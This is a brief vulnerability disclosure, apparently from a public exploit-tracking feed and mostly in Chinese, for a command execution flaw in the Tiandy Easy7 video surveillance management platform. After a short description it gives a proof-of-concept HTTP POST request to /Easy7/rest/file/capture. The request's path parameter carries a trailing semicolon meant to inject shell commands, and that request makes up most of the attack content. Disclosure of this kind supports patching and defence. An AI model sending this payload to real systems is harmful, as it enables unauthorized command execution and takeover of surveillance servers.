天地伟业Easy7 /Easy7/rest/file/capture 命令执行漏洞

2026-04-30 天地伟业Easy7 PoC Public

Description

天地伟业Easy7是天地伟业技术有限公司推出的智能视频监控管理平台,广泛应用于安防监控、智慧城市、交通管理等领域,提供视频预览、录像回放、设备管理等功能。该系统采用J2EE架构,提供Web化管理界面,支持多用户并发访问和分布式部署。天地伟业Easy7 /Easy7/rest/file/capture 接口存在命令执行漏洞,攻击者可通过构造恶意参数执行任意系统命令,获取服务器权限,造成严重安全风险。

PoC

POST /Easy7/rest/file/capture HTTP/1.1
Host: 
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

srsPathId=1&path=1.mp4;

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Tiandy Easy7 /Easy7/rest/file/capture Command Execution Vulnerability

References

Related Vulnerabilities